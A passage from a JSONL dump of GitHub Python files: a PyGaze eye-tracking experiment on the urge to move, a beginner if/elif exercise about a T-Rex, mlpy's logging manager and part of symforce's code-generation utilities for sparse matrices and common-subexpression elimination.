Keyboard(keylist=None, timeout=None)\n\n# Initialize Screens\ninscr = Screen(fgc=COLORS['darkgreen'])\ninscr.draw_text(\n text='Instructions:\\nPress ENTER to pick a letter.\\n' +\n 'You may press ESCAPE at any time to end the program.\\n' +\n '(Press any key to continue)',\n fontsize=24)\n\npickscr = Screen(fgc=COLORS['darkgreen'])\npickscr.draw_text(\n text='What letter was on screen when you first decided to move?',\n fontsize=24)\n\nquitscr = Screen(fgc=COLORS['darkgreen'])\nquitscr.draw_text(text='Are you sure you want to quit (y/[n])?', fontsize=24)\n\nfixscr = Screen(fgc=COLORS['darkgreen'])\nfixscr.draw_fixation(fixtype='cross', pw=2, diameter=16)\n\nimgscr = Screen(fgc=COLORS['darkgreen'])\ntrialscr = Screen(fgc=COLORS['darkgreen'])\n\n# Initialise EyeTracker\ntracker = EyeTracker(disp)\ntracker.calibrate()\n\n\n''' START EXPERIMENT '''\n\n\n# Show instructions on Display then wait for key press\ndisp.fill(inscr)\ndisp.show()\ncheck_key(disp, quitscr, inscr)\n\n# Iterate through n trials\nfor n in range(1, TRIALS + 1):\n\n # Show trial number then wait for key press\n trialscr.clear()\n trialscr.draw_text(\n text='Trial #%s\\n' % n +\n 'wait until letters appear and press enter when ' +\n 'you feel the urge to.\\n(Press any key to begin)',\n fontsize=24)\n disp.fill(trialscr)\n disp.show()\n check_key(disp, quitscr, trialscr)\n\n # Start recording and display status message on EyeLink trackers\n tracker.start_recording()\n tracker.status_msg('Trial No.%s' % n)\n tracker.log('TRIAL %s START' % n)\n\n # Show fixation Screen on Display\n disp.fill(fixscr)\n fixonset = disp.show()\n tracker.log('FIXATION ONSET')\n check_key(disp, quitscr, fixscr, keylist=['escape'], timeout=FIXTIME)\n\n # list for storing letter sequence\n sequence = []\n\n # Variables for delayed loop termination\n afterpress = -1\n keysave = None\n\n # list of randomized alphabet to iterate through\n alpha = ''.join(random.sample(string.ascii_lowercase, 26))\n\n # Show alphabet Screen on Display\n for i in range(26):\n\n # append letter to sequence list\n sequence.append(alpha[i])\n\n # Check if pressed\n if afterpress > 0:\n afterpress -= 1\n elif afterpress == 0:\n break\n\n # Display letter\n imgscr.clear()\n imgscr.draw_text(text=alpha[i], fontsize=64)\n disp.fill(imgscr)\n if afterpress == -1:\n imgonset = disp.show()\n else:\n disp.show()\n tracker.log('IMAGE ONSET, letter=%s' % alpha[i])\n\n # Handle input\n key, press = kb.get_key(keylist=['return', 'escape'],\n timeout=IMGTIME[i])\n if key == 'return':\n keysave = key\n presstime = press\n deltatime = presstime - imgonset\n trueletter = alpha[i]\n afterpress = 2\n tracker.log('ACTION RECORDED, delta_t=%.2f ms' % deltatime)\n libtime.pause(int(IMGTIME[i] - deltatime))\n if key == 'escape':\n disp.fill(quitscr)\n disp.show()\n if kb.get_key()[0].lower() == 'y':\n close_all(tracker, log, disp)\n\n # Clear Display\n disp.fill()\n if afterpress == 2 or afterpress == -1:\n imgoffset = disp.show()\n else:\n disp.show()\n tracker.log('IMAGE OFFSET, letter=%s, imgtime=%ims' % (alpha[i], int(IMGTIME[i])))\n\n # Ask participant for the letter they picked and log trial\n if keysave is not None: # TODO: tests needed\n keysave = None\n disp.fill(pickscr)\n disp.show()\n userletter = kb.get_key()[0]\n log.write([n, fixonset, imgonset, imgoffset, presstime,\n deltatime, trueletter, userletter, sequence])\n else:\n log.write([n, fixonset, 'NaN', 'NaN', 'NaN',\n 'NaN', 'NaN', 'NaN', sequence])\n\n # Log the end of trial\n tracker.log('TRIAL %s END' % n)\n tracker.stop_recording()\n\n# Notify end to participant then wait for key press\ninscr.clear()\ninscr.draw_text(text='All done!\\n(Press any key to exit)', fontsize=24)\ndisp.fill(inscr)\ndisp.show()\nkb.get_key()\n\n# Close connection to eye tracker and Display\nclose_all(tracker, log, disp)\n","repo_name":"andylikescodes/EYE","sub_path":"experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"37504456880","text":"#Exercise 3: I Came, I 'Saur, I Conquered\n# If T-Rex is angry, hungry, and bored he will eat the Triceratops.\n# Otherwise if T-Rex is tired and hungry, he will eat the Iguanadon.\n# Otherwise if T-Rex is hungry and bored, he will eat the Stegasaurus.\n# Otherwise if T-Rex is tired, he goes to sleep.\n# Otherwise if T-Rex is angry and bored, he will fight with the Velociraptor.\n# Otherwise if T-Rex is angry or bored, he roars.\n# Otherwise T-Rex gives a toothy smile.\n\nangry = False\nbored = True #change this for every statement\nhungry = False\ntired = False\n\nif angry and hungry and bored:\n print('he will eat the Triceratops.')\nelif tired and hungry:\n print('he will eat the Iguanadon.')\nelif hungry and bored:\n print('he will eat the Stegasaurus.')\nelif tired:\n print('he goes to sleep.')\nelif angry and bored:\n print('he will fight with the Velociraptor.')\nelif angry or bored:\n print('he roars.')\nelse:\n print('T-Rex gives a toothy smile.') ","repo_name":"sajithgowthaman/GA---All-Exercises-","sub_path":"hw-03-control-flow/exercise3.py","file_name":"exercise3.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"34026375647","text":"from __future__ import division, print_function, absolute_import\n\nimport os\nimport logging\nfrom datetime import datetime\n\nfrom ..modules.patterns import Singleton\n\n\nclass SilenceableStreamHandler(logging.StreamHandler):\n def __init__(self, *args, **kwargs):\n super(SilenceableStreamHandler, self).__init__(*args, **kwargs)\n self.silenced = False\n\n def emit(self, record):\n if not self.silenced:\n super(SilenceableStreamHandler, self).emit(record)\n\n\nclass SilenceableFileHandler(logging.FileHandler):\n def __init__(self, *args, **kwargs):\n super(SilenceableFileHandler, self).__init__(*args, **kwargs)\n self.silenced = False\n\n def emit(self, record):\n if not self.silenced:\n super(SilenceableFileHandler, self).emit(record)\n\n\nclass LoggingMgr(object):\n \"\"\"The logging manager :class:`.Singleton` class.\n\n The logger manager can be included as a member to any class to\n manager logging of information. Each logger is identified by\n the module id (`mid`), with which the logger settings can be\n changed.\n\n By default a logger with log level LOG_INFO that is output to the stdout\n is created.\n\n Attributes\n ----------\n LOG_TYPE_STREAM=0\n Log only to output stream (stdout).\n LOG_TYPE_FILE=1\n Log only to an output file.\n LOG_TYPE_ALL=2\n Log to both output stream (stdout) and file.\n LOG_DEBUG=10\n Detailed information, typically of interest only when diagnosing problems.\n LOG_INFO=20\n Confirmation that things are working as expected.\n LOG_WARNING=30\n An indication that something unexpected happened, or indicative\n of some problem in the near future. The software is still working as expected.\n LOG_ERROR=40\n Due to a more serious problem, the software has not been able to perform some\n function.\n LOG_CRITICAL=50\n A serious error, indicating that the problem itself may be unable to continue\n running.\n\n See Also\n --------\n :mod:`logging`\n\n Examples\n --------\n >>> from mlpy.tools.log import LoggingMgr\n >>> logger = LoggingMgr().get_logger('my_id')\n >>> logger.info('This is a useful information.')\n\n This gets a new logger. If a logger with the module id `my_id` already exists\n that logger will be returned, otherwise a logger with the default settings is\n created.\n\n >>> LoggingMgr().add_handler('my_id', htype=LoggingMgr.LOG_TYPE_FILE)\n\n This adds a new handler for the logger with module id `my_id` writing the logs\n to a file.\n\n >>> LoggingMgr().remove_handler('my_id', htype=LoggingMgr.LOG_TYPE_STREAM)\n\n This removes the stream handler from the logger with module id `my_id`.\n\n >>> LoggingMgr().change_level('my_id', LoggingMgr.LOG_TYPE_ALL, LoggingMgr.LOG_DEBUG)\n\n This changes the log level for all attached handlers of the logger identified by\n `my_id` to LOG_DEBUG.\n\n \"\"\"\n __metaclass__ = Singleton\n\n LOG_TYPE_STREAM = 0\n LOG_TYPE_FILE = 1\n LOG_TYPE_ALL = 2\n\n LOG_DEBUG = logging.DEBUG\n LOG_INFO = logging.INFO\n LOG_WARNING = logging.WARNING\n LOG_ERROR = logging.ERROR\n LOG_CRITICAL = logging.CRITICAL\n\n def __init__(self):\n self._loggers = {}\n self._verbosity = {}\n self._filename = None\n\n def get_verbosity(self, mid):\n \"\"\" Gets the verbosity.\n\n The current setting of the verbosity of the logger identified\n by `mid` is returned.\n\n Parameters\n ----------\n mid : str\n The module id of the logger to change the verbosity of.\n\n Returns\n -------\n bool :\n Whether to turn the verbosity on or off.\n\n \"\"\"\n return self._verbosity[mid]\n\n def set_verbosity(self, mid, value):\n \"\"\"Sets the verbosity.\n\n Turn logging on/off for logger identified by `mid`.\n\n Parameters\n ----------\n mid : str\n The module id of the logger to change the verbosity of.\n value : bool\n Whether to turn the verbosity on or off.\n\n \"\"\"\n handlers = self._loggers[mid].handlers\n for hdl in handlers:\n hdl.silenced = value\n\n def get_logger(self, mid, level=LOG_INFO, htype=LOG_TYPE_STREAM, fmt=None, verbose=True, filename=None):\n \"\"\"Get the logger instance with the identified `mid`.\n\n If a logger with the `mid` does not exist, a new logger will be created with the given settings.\n By default only a stream handler is attached to the logger.\n\n Parameters\n ----------\n mid : str\n The module id of the logger.\n level : int, optional\n The top level logging level. Default is LOG_INFO.\n htype : int, optional\n The logging type of handler. Default is LOG_TYPE_STREAM.\n fmt : str, optional\n The format in which the information is presented.\n Default is \"[%(levelname)-8s ] %(name)s: %(funcName)s: %(message)s\"\n verbose : bool, optional\n The verbosity setting of the logger. Default is True\n filename : str, optional\n The name of the file the file handler writes the logs to.\n Default is a generated filename.\n\n Returns\n -------\n The logging instance.\n\n \"\"\"\n if mid not in self._loggers:\n logger = logging.getLogger(mid)\n logger.setLevel(level)\n self._loggers[mid] = logger\n self._verbosity[mid] = verbose if verbose is not None else True\n self.add_handler(mid, htype, level, fmt, filename)\n return self._loggers[mid]\n\n def add_handler(self, mid, htype=LOG_TYPE_STREAM, hlevel=LOG_INFO, fmt=None, filename=None):\n \"\"\"Add a handler to the logger.\n\n Parameters\n ----------\n mid : str\n The module id of the logger\n htype : int, optional\n The logging type to add to the handler. Default is LOG_TYPE_STREAM.\n hlevel : int, optional\n The logging level. Default is LOG_INFO.\n fmt : str, optional\n The format in which the information is presented.\n Default is \"[%(levelname)-8s ] %(name)s: %(funcName)s: %(message)s\"\n filename : str, optional\n The name of the file the file handler writes the logs to.\n Default is a generated filename.\n\n \"\"\"\n if fmt is None:\n fmt = \"[%(levelname)-8s ] %(name)s: %(funcName)s: %(message)s\"\n formatter = logging.Formatter(fmt)\n\n if htype == self.LOG_TYPE_STREAM or htype == self.LOG_TYPE_ALL:\n handler = SilenceableStreamHandler()\n self._add_handler(mid, hlevel, handler, formatter)\n\n if htype == self.LOG_TYPE_FILE or htype == self.LOG_TYPE_ALL:\n if self._filename is None:\n if not os.path.exists(\"logs\"):\n os.makedirs(\"logs\")\n dt = datetime.now().strftime(\"%Y-%m-%d %H-%M-%S\")\n self._filename = \"logs\\logfile \" + dt + \".log\"\n filename = filename if filename is not None else self._filename\n\n handler = SilenceableFileHandler(filename)\n self._add_handler(mid, hlevel, handler, formatter)\n\n def remove_handler(self, mid, htype):\n \"\"\"Remove handlers.\n\n Removes all handlers of the given handler type from the logger.\n\n Parameters\n ----------\n mid : str\n The module id of the logger\n htype : int\n The logging type to remove from the handler.\n\n \"\"\"\n handlers = self._loggers[mid].handlers\n for hdl in handlers:\n if htype == self.LOG_TYPE_FILE and isinstance(hdl, logging.FileHandler):\n self._loggers[mid].removeHandler(hdl)\n elif htype == self.LOG_TYPE_STREAM and isinstance(hdl, logging.StreamHandler):\n self._loggers[mid].removeHandler(hdl)\n\n def change_level(self, mid, hlevel, htype=LOG_TYPE_ALL):\n \"\"\"Set the log level for a handler.\n\n Parameters\n ----------\n mid : str\n The module id of the logger\n hlevel : int\n The logging level.\n htype : int, optional\n The logging type of handler for which to change the\n log level. Default is LOG_TYPE_ALL.\n\n \"\"\"\n handlers = self._loggers[mid].handlers\n if hlevel < self._loggers[mid].level:\n self._loggers[mid].level = hlevel\n\n for hdl in handlers:\n if htype == self.LOG_TYPE_ALL:\n hdl.level = hlevel\n elif htype == self.LOG_TYPE_FILE and isinstance(hdl, logging.FileHandler):\n hdl.level = hlevel\n elif htype == self.LOG_TYPE_STREAM and isinstance(hdl, logging.StreamHandler):\n hdl.level = hlevel\n\n def _add_handler(self, mid, hlevel, handler, formatter):\n handler.setLevel(hlevel)\n handler.setFormatter(formatter)\n self._loggers[mid].addHandler(handler)\n","repo_name":"evenmarbles/mlpy","sub_path":"mlpy/tools/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":9057,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"34"} +{"seq_id":"13744144091","text":"from __future__ import annotations\n\nimport dataclasses\nimport importlib.abc\nimport importlib.util\nimport itertools\nimport sys\nfrom pathlib import Path\n\nimport sympy\n\nimport symforce\nimport symforce.symbolic as sf\nfrom symforce import _sympy_count_ops\nfrom symforce import ops\nfrom symforce import typing as T\nfrom symforce import typing_util\nfrom symforce.codegen import codegen_config\nfrom symforce.codegen import format_util\nfrom symforce.values import IndexEntry\nfrom symforce.values import Values\n\nNUMPY_DTYPE_FROM_SCALAR_TYPE = {\"double\": \"numpy.float64\", \"float\": \"numpy.float32\"}\n# Type representing generated code (list of lhs and rhs terms)\nT_terms = T.Sequence[T.Tuple[sf.Symbol, sf.Expr]]\nT_nested_terms = T.Sequence[T_terms]\nT_terms_printed = T.Sequence[T.Tuple[str, str]]\n\n\nclass DenseAndSparseOutputTerms(T.NamedTuple):\n dense: T.List[T.List[sf.Expr]]\n sparse: T.List[T.List[sf.Expr]]\n\n\nclass OutputWithTerms(T.NamedTuple):\n name: str\n type: T.Element\n terms: T_terms_printed\n\n\nclass PrintCodeResult(T.NamedTuple):\n intermediate_terms: T_terms_printed\n dense_terms: T.List[OutputWithTerms]\n sparse_terms: T.List[OutputWithTerms]\n total_ops: int\n\n\n@dataclasses.dataclass\nclass CSCFormat:\n \"\"\"\n A matrix written in Compressed Sparse Column format.\n \"\"\"\n\n kRows: int # Number of rows\n kCols: int # Number of columns\n kNumNonZero: int # Number of nonzero entries\n kColPtrs: T.List[int] # nonzero_elements[kColPtrs[col]] is the first nonzero entry of col\n kRowIndices: T.List[int] # row indices of nonzero entries written in column-major order\n nonzero_elements: T.List[sf.Scalar] # nonzero entries written in column-major order\n\n @staticmethod\n def from_matrix(sparse_matrix: sf.Matrix) -> CSCFormat:\n \"\"\"\n Returns a dictionary with the metadata required to represent a matrix as a sparse matrix\n in CSC form.\n\n Args:\n sparse_matrix: A symbolic :class:`sf.Matrix ` where sparsity\n is given by exact zero equality.\n \"\"\"\n kColPtrs = []\n kRowIndices = []\n nonzero_elements = []\n data_inx = 0\n # Loop through columns because we assume CSC form\n for j in range(sparse_matrix.shape[1]):\n kColPtrs.append(data_inx)\n for i in range(sparse_matrix.shape[0]):\n if sparse_matrix[i, j] == 0:\n continue\n kRowIndices.append(i)\n nonzero_elements.append(sparse_matrix[i, j])\n data_inx += 1\n kColPtrs.append(data_inx)\n\n return CSCFormat(\n kRows=sparse_matrix.rows,\n kCols=sparse_matrix.cols,\n kNumNonZero=len(nonzero_elements),\n kColPtrs=kColPtrs,\n kRowIndices=kRowIndices,\n nonzero_elements=nonzero_elements,\n )\n\n def to_matrix(self) -> sf.Matrix:\n \"\"\"\n Returns a dense matrix representing this CSC sparse matrix.\n \"\"\"\n dense_matrix = sf.M.zeros(self.kRows, self.kCols)\n for j in range(self.kCols):\n end_inx = self.kColPtrs[j + 1] if j + 1 < self.kCols else self.kNumNonZero\n for k in range(self.kColPtrs[j], end_inx):\n dense_matrix[self.kRowIndices[k], j] = self.nonzero_elements[k]\n return dense_matrix\n\n\ndef print_code(\n inputs: Values,\n outputs: Values,\n sparse_mat_data: T.Dict[str, CSCFormat],\n config: codegen_config.CodegenConfig,\n cse: bool = True,\n) -> PrintCodeResult:\n \"\"\"\n Return executable code lines from the given input/output values.\n\n Args:\n inputs: Values object specifying names and symbolic inputs\n outputs: Values object specifying names and output expressions (written in terms\n of the symbolic inputs)\n sparse_mat_data: Data associated with sparse matrices. ``sparse_mat_data[\"keys\"]`` stores\n a list of the keys in outputs which should be treated as sparse matrices\n config: Programming language and configuration in which the expressions are to be generated\n cse: Perform common sub-expression elimination\n\n Returns:\n T.List[T.Tuple[str, str]]: Line of code per temporary variable\n T.List[OutputWithTerms]: Collection of lines of code per dense output variable\n T.List[OutputWithTerms]: Collection of lines of code per sparse output variable\n int: Total number of ops\n \"\"\"\n # Split outputs into dense and sparse outputs, since we treat them differently when doing codegen\n dense_outputs = Values()\n sparse_outputs = Values()\n for key, value in outputs.items():\n if key in sparse_mat_data:\n sparse_outputs[key] = sparse_mat_data[key].nonzero_elements\n else:\n dense_outputs[key] = value\n\n output_exprs = DenseAndSparseOutputTerms(\n dense=[ops.StorageOps.to_storage(value) for key, value in dense_outputs.items()],\n sparse=[ops.StorageOps.to_storage(value) for key, value in sparse_outputs.items()],\n )\n\n # CSE If needed\n if cse:\n temps, simplified_outputs = perform_cse(\n output_exprs=output_exprs,\n cse_optimizations=config.cse_optimizations,\n )\n else:\n temps = []\n simplified_outputs = output_exprs\n\n # Replace default symbols with vector notation (e.g. \"R_re\" -> \"_R[0]\")\n temps_formatted, dense_outputs_formatted, sparse_outputs_formatted = format_symbols(\n inputs=inputs,\n dense_outputs=dense_outputs,\n sparse_outputs=sparse_outputs,\n intermediate_terms=temps,\n output_terms=simplified_outputs,\n config=config,\n )\n\n simpify_list = lambda lst: [sympy.S(term) for term in lst]\n simpify_nested_lists = lambda nested_lsts: [simpify_list(lst) for lst in nested_lsts]\n\n temps_formatted = simpify_list(temps_formatted)\n dense_outputs_formatted = simpify_nested_lists(dense_outputs_formatted)\n sparse_outputs_formatted = simpify_nested_lists(sparse_outputs_formatted)\n\n def count_ops(expr: T.Any) -> int:\n op_count = _sympy_count_ops.count_ops(expr)\n assert isinstance(op_count, int)\n return op_count\n\n total_ops = (\n count_ops(temps_formatted)\n + count_ops(dense_outputs_formatted)\n + count_ops(sparse_outputs_formatted)\n )\n\n # Get printer\n printer = config.printer()\n\n # Print code\n intermediate_terms = [(str(var), printer.doprint(t)) for var, t in temps_formatted]\n dense_outputs_code_no_names = [\n [(str(var), printer.doprint(t)) for var, t in single_output_terms]\n for single_output_terms in dense_outputs_formatted\n ]\n sparse_outputs_code_no_names = [\n [(str(var), printer.doprint(t)) for var, t in single_output_terms]\n for single_output_terms in sparse_outputs_formatted\n ]\n\n # Pack names and types with outputs\n dense_terms = [\n OutputWithTerms(key, value, output_code_no_name)\n for output_code_no_name, (key, value) in zip(\n dense_outputs_code_no_names, dense_outputs.items()\n )\n ]\n sparse_terms = [\n OutputWithTerms(key, value, sparse_output_code_no_name)\n for sparse_output_code_no_name, (key, value) in zip(\n sparse_outputs_code_no_names, sparse_outputs.items()\n )\n ]\n\n return PrintCodeResult(\n intermediate_terms=intermediate_terms,\n dense_terms=dense_terms,\n sparse_terms=sparse_terms,\n total_ops=total_ops,\n )\n\n\ndef perform_cse(\n output_exprs: DenseAndSparseOutputTerms,\n cse_optimizations: T.Union[\n T.Literal[\"basic\"], T.Sequence[T.Tuple[T.Callable, T.Callable]]\n ] = None,\n) -> T.Tuple[T_terms, DenseAndSparseOutputTerms]:\n \"\"\"\n Run common sub-expression elimination on the given input/output values.\n\n Args:\n output_exprs: expressions on which to perform cse\n cse_optimizations: optimizations to be forwarded to :func:`sf.cse `\n\n Returns:\n T_terms: Temporary variables holding the common sub-expressions found within output_exprs\n DenseAndSparseOutputTerms: output_exprs, but in terms of the returned temporaries.\n \"\"\"\n # Perform CSE\n flat_output_exprs = [\n x for storage in (output_exprs.dense + output_exprs.sparse) for x in storage\n ]\n\n def tmp_symbols() -> T.Iterable[sf.Symbol]:\n for i in itertools.count():\n yield sf.Symbol(f\"_tmp{i}\")\n\n if cse_optimizations is not None:\n if symforce.get_symbolic_api() == \"symengine\":\n raise ValueError(\"cse_optimizations is not supported on symengine\")\n\n temps, flat_simplified_outputs = sf.cse(\n flat_output_exprs, symbols=tmp_symbols(), optimizations=cse_optimizations\n )\n else:\n temps, flat_simplified_outputs = sf.cse(flat_output_exprs, symbols=tmp_symbols())\n\n # Unflatten output of CSE\n simplified_outputs = DenseAndSparseOutputTerms(dense=[], sparse=[])\n flat_i = 0\n for storage in output_exprs.dense:\n simplified_outputs.dense.append(flat_simplified_outputs[flat_i : flat_i + len(storage)])\n flat_i += len(storage)\n for storage in output_exprs.sparse:\n simplified_outputs.sparse.append(flat_simplified_outputs[flat_i : flat_i + len(storage)])\n flat_i += len(storage)\n\n return temps, simplified_outputs\n\n\ndef format_symbols(\n inputs: Values,\n dense_outputs: Values,\n sparse_outputs: Values,\n intermediate_terms: T_terms,\n output_terms: DenseAndSparseOutputTerms,\n config: codegen_config.CodegenConfig,\n) -> T.Tuple[T_terms, T_nested_terms, T_nested_terms]:\n \"\"\"\n Reformats symbolic variables used in intermediate and outputs terms to match structure of\n inputs/outputs.\n\n For example, if we have an input array ``\"arr\"`` with symbolic elements ``[arr0, arr1]``,\n we will remap symbol ``\"arr0\"`` to ``\"arr[0]\"`` and symbol ``\"arr1\"`` to ``\"arr[1]\"``.\n \"\"\"\n # Rename the symbolic inputs so that they match the code we generate\n\n formatted_input_args, original_args = get_formatted_list(inputs, config, format_as_inputs=True)\n input_subs = dict(\n zip(\n itertools.chain.from_iterable(original_args),\n itertools.chain.from_iterable(formatted_input_args),\n )\n )\n\n intermediate_terms_formatted = list(\n zip(\n (lhs for lhs, _ in intermediate_terms),\n ops.StorageOps.subs(\n [rhs for _, rhs in intermediate_terms], input_subs, dont_flatten_args=True\n ),\n )\n )\n\n dense_output_lhs_formatted, _ = get_formatted_list(\n dense_outputs, config, format_as_inputs=False\n )\n dense_output_terms_formatted = [\n list(zip(lhs_formatted, subbed_storage))\n for lhs_formatted, subbed_storage in zip(\n dense_output_lhs_formatted,\n ops.StorageOps.subs(output_terms.dense, input_subs, dont_flatten_args=True),\n )\n ]\n\n sparse_output_lhs_formatted = get_formatted_sparse_list(sparse_outputs)\n sparse_output_terms_formatted = [\n list(zip(lhs_formatted, subbed_storage))\n for lhs_formatted, subbed_storage in zip(\n sparse_output_lhs_formatted,\n ops.StorageOps.subs(output_terms.sparse, input_subs, dont_flatten_args=True),\n )\n ]\n\n return intermediate_terms_formatted, dense_output_terms_formatted, sparse_output_terms_formatted\n\n\ndef get_formatted_list(\n values: Values, config: codegen_config.CodegenConfig, format_as_inputs: bool\n) -> T.Tuple[T.List[T.List[T.Union[sf.Symbol, sf.DataBuffer]]], T.List[T.List[sf.Scalar]]]:\n \"\"\"\n Returns a nested list of formatted symbols, as well as a nested list of the corresponding\n original scalar values. For use in generated functions.\n\n Args:\n values: Values object mapping keys to different objects. Here we only\n use the object types, not their actual values.\n config: Programming language and configuration for when language-specific formatting is\n required\n format_as_inputs: True if values defines the input symbols, false if values defines output\n expressions.\n Returns:\n flattened_formatted_symbolic_values: nested list of formatted scalar symbols\n flattened_original_values: nested list of original scalar values\n \"\"\"\n flattened_formatted_symbolic_values = []\n flattened_original_values = []\n for key, value in values.items():\n arg_cls = typing_util.get_type(value)\n storage_dim = ops.StorageOps.storage_dim(value)\n\n # For each item in the given Values object, we construct a list of symbols used\n # to access the scalar elements of the object. These symbols will later be matched up\n # with the flattened Values object symbols.\n if issubclass(arg_cls, sf.DataBuffer):\n formatted_symbols = [sf.DataBuffer(key, value.shape[0])]\n flattened_value = [value]\n elif isinstance(value, (sf.Expr, sf.Symbol)):\n formatted_symbols = [sf.Symbol(key)]\n flattened_value = [value]\n elif issubclass(arg_cls, sf.Matrix):\n # NOTE(brad): The order of the symbols must match the storage order of sf.Matrix\n # (as returned by sf.Matrix.to_storage). Hence, if there storage order were\n # changed to, say, row major, the below for loops would have to be swapped to\n # reflect that.\n formatted_symbols = []\n for j in range(value.shape[1]):\n for i in range(value.shape[0]):\n formatted_symbols.append(\n sf.Symbol(config.format_matrix_accessor(key, i, j, shape=value.shape))\n )\n\n flattened_value = ops.StorageOps.to_storage(value)\n\n elif issubclass(arg_cls, Values):\n # Term is a Values object, so we must flatten it. Here we loop over the index so that\n # we can use the same code with lists.\n formatted_symbols = []\n flattened_value = value.to_storage()\n for name, index_value in value.index().items():\n # Elements of a Values object are accessed with the \".\" operator\n formatted_symbols.extend(\n _get_scalar_keys_recursive(\n index_value, prefix=f\"{key}.{name}\", config=config, use_data=False\n )\n )\n\n assert len(formatted_symbols) == len(\n set(formatted_symbols)\n ), \"Non-unique keys:\\n{}\".format(\n [symbol for symbol in formatted_symbols if formatted_symbols.count(symbol) > 1]\n )\n elif issubclass(arg_cls, (list, tuple)):\n # Term is a list, so we loop over the index of the list, i.e.\n # \"values.index()[key].item_index\".\n formatted_symbols = []\n flattened_value = ops.StorageOps.to_storage(value)\n\n sub_index = values.index()[key].item_index\n assert sub_index is not None\n for i, sub_index_val in enumerate(sub_index.values()):\n # Elements of a list are accessed with the \"[]\" operator.\n formatted_symbols.extend(\n _get_scalar_keys_recursive(\n sub_index_val,\n prefix=f\"{key}[{i}]\",\n config=config,\n use_data=format_as_inputs,\n )\n )\n\n assert len(formatted_symbols) == len(\n set(formatted_symbols)\n ), \"Non-unique keys:\\n{}\".format(\n [symbol for symbol in formatted_symbols if formatted_symbols.count(symbol) > 1]\n )\n else:\n if format_as_inputs:\n # For readability, we will store the data of geo/cam objects in a temp vector named \"_key\"\n # where \"key\" is the name of the given input variable (can be \"self\" for member functions accessing\n # object data)\n formatted_symbols = [sf.Symbol(f\"_{key}[{j}]\") for j in range(storage_dim)]\n else:\n # For geo/cam objects being output, we can't access \"data\" directly, so in the\n # jinja template we will construct a new object from a vector\n formatted_symbols = [sf.Symbol(f\"{key}[{j}]\") for j in range(storage_dim)]\n flattened_value = ops.StorageOps.to_storage(value)\n\n if len(formatted_symbols) != len(flattened_value):\n error_text = (\n \"Number of symbols does not match number of values. \"\n + \"This can happen if a databuffer is included in a Values object used as an input \"\n + \"to the codegen function (databuffers should be top-level arguments/inputs). \"\n )\n # Only print matches if flattened_value isn't filled with expressions\n if format_as_inputs:\n matches = list(zip(formatted_symbols, flattened_value))\n error_text += f\"The following symbol/value pairs should match: {matches}\"\n raise ValueError(error_text)\n\n flattened_formatted_symbolic_values.append(formatted_symbols)\n flattened_original_values.append(flattened_value)\n\n return flattened_formatted_symbolic_values, flattened_original_values\n\n\ndef _get_scalar_keys_recursive(\n index_value: IndexEntry, prefix: str, config: codegen_config.CodegenConfig, use_data: bool\n) -> T.List[sf.Symbol]:\n \"\"\"\n Returns a vector of keys, recursing on Values or List objects to get sub-elements.\n\n Args:\n index_value: Entry in a given index consisting of (inx, datatype, shape, item_index)\n See Values.index() for details on how this entry is built.\n prefix: Symbol used to access parent object, e.g. \"my_values.item\" or \"my_list[i]\"\n config: Programming language and configuration for when language-specific formatting is\n required\n use_data: If true, we assume we can have a list of geo/cam objects whose data can be\n accessed with \".data\" or \".Data()\". Otherwise, assume geo/cam objects are represented\n by a vector of scalars (e.g. as they are in lcm types).\n \"\"\"\n vec = []\n datatype = index_value.datatype()\n if issubclass(datatype, sf.Scalar):\n # Element is a scalar, no need to access subvalues\n vec.append(sf.Symbol(prefix))\n elif issubclass(datatype, Values):\n assert index_value.item_index is not None\n # Recursively add subitems using \".\" to access subvalues\n for name, sub_index_val in index_value.item_index.items():\n vec.extend(\n _get_scalar_keys_recursive(\n sub_index_val, prefix=f\"{prefix}.{name}\", config=config, use_data=False\n )\n )\n elif issubclass(datatype, sf.DataBuffer):\n vec.append(sf.DataBuffer(prefix))\n elif issubclass(datatype, (list, tuple)):\n assert index_value.item_index is not None\n # Assume all elements of list are same type as first element\n # Recursively add subitems using \"[]\" to access subvalues\n for i, sub_index_val in enumerate(index_value.item_index.values()):\n vec.extend(\n _get_scalar_keys_recursive(\n sub_index_val, prefix=f\"{prefix}[{i}]\", config=config, use_data=use_data\n )\n )\n elif issubclass(datatype, sf.Matrix) or not use_data:\n if config.use_eigen_types:\n vec.extend(\n sf.Symbol(config.format_eigen_lcm_accessor(prefix, i))\n for i in range(index_value.storage_dim)\n )\n else:\n vec.extend(sf.Symbol(f\"{prefix}[{i}]\") for i in range(index_value.storage_dim))\n else:\n # We have a geo/cam or other object that uses \"data\" to store a flat vector of scalars.\n vec.extend(\n sf.Symbol(config.format_data_accessor(prefix=prefix, index=i))\n for i in range(index_value.storage_dim)\n )\n\n assert len(vec) == len(set(vec)), \"Non-unique keys:\\n{}\".format(\n [symbol for symbol in vec if vec.count(symbol) > 1]\n )\n\n return vec\n\n\ndef get_formatted_sparse_list(sparse_outputs: Values) -> T.List[T.List[sf.Scalar]]:\n \"\"\"\n Returns a nested list of symbols for use in generated functions for sparse matrices.\n \"\"\"\n symbolic_args = []\n # Each element of sparse_outputs is a list of the nonzero terms in the sparse matrix\n for key, sparse_matrix_data in sparse_outputs.items():\n symbolic_args.append(\n [sf.Symbol(f\"{key}_value_ptr[{i}]\") for i in range(len(sparse_matrix_data))]\n )\n\n return symbolic_args\n\n\ndef _load_generated_package_internal(name: str, path: Path) -> T.Tuple[T.Any, T.List[str]]:\n \"\"\"\n Dynamically load generated package (or module).\n\n Returns the generated package (module) and a list of the names of all modules added\n to sys.module by this function.\n\n Does not remove the modules it imports from sys.modules.\n\n Precondition: If m is a module from the same package as name and is imported by name, then\n there does not exist a different module with the same name as m in sys.modules. This is to\n ensure name imports the correct modules.\n \"\"\"\n if path.is_dir():\n path = path / \"__init__.py\"\n\n parts = name.split(\".\")\n if len(parts) > 1:\n # Load parent packages\n _, added_module_names = _load_generated_package_internal(\n \".\".join(parts[:-1]), path.parent / \"__init__.py\"\n )\n else:\n added_module_names = []\n\n spec = importlib.util.spec_from_file_location(name, path)\n assert spec is not None\n module = importlib.util.module_from_spec(spec)\n sys.modules[name] = module\n added_module_names.append(name)\n\n # 